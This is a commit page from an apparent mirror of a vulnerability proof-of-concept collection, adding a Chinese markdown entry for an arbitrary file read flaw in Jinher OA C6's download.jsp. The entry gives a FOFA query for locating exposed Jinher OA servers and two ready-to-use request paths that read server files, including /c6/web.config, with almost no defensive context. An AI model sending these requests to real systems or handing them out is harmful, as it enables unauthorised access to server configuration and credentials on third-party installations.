crazywhalecc/POC00
1
0
Fork 0
mirror of https://github.com/wooluo/POC00.git synced 2026-07-28 15:55:35 +08:00
Code Issues Packages Projects Releases Wiki Activity

6.11更新漏洞

Browse Source
This commit is contained in:
wy876
2024-06-11 17:00:43 +08:00
parent 3c95a6c50e
commit 8ccd2205e2
8 changed files with 199 additions and 2 deletions
Download Patch File Download Diff File Expand all files Collapse all files

18
金和OA-C6-download.jsp任意文件读取漏洞.md Normal file
View File

@@ -0,0 +1,18 @@
## 金和OA-C6-download.jsp任意文件读取漏洞
金和OA C6 download.jsp文件存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器中的敏感信息
## fofa
```
app="Jinher-OA"
```
## poc
```
/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=download.asp
/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config
```
![image-20240609162635854](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202406091626910.png)